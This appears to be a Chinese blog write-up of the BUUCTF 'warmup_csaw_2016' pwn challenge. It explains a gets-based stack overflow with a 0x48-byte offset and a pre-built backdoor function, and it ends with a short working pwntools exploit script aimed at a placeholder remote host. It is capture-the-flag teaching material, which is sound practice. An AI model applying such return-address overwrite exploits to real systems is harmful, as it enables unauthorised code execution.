[每日一PWN]BUUCTF warmup_csaw_2016

warmup_csaw_2016

前言

和第一题RIP一样,是经典而基础的ret2text

保护模式

checksec看一下文件保护:
在这里插入图片描述
64位小端序文件,其余没什么需要注意的。

溢出点

放进IDA,可以发现溢出点就在主函数当中
在这里插入图片描述

偏移计算

由IDA分析得,gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的rbp-40h表示输入点距离rbp寄存器的偏移为40h,而同时rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h。
当然不放心也可以用pwndbg算算,步骤和rip中的步骤相同。

后门函数

和rip一样的,这道题的后门函数也是事先写好在文件内部的,可以很轻松的找到
在这里插入图片描述
同上一题,这里也可以获取后门函数的地址
在这里插入图片描述

攻击脚本

由上面所得数据,写出如下脚本:

from pwn import *
p= remote('IP', PORT)
payload = b'a'*(0x40+0x8)+p64(0x40060D)
p.sendline(payload) 
p.interactive() 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值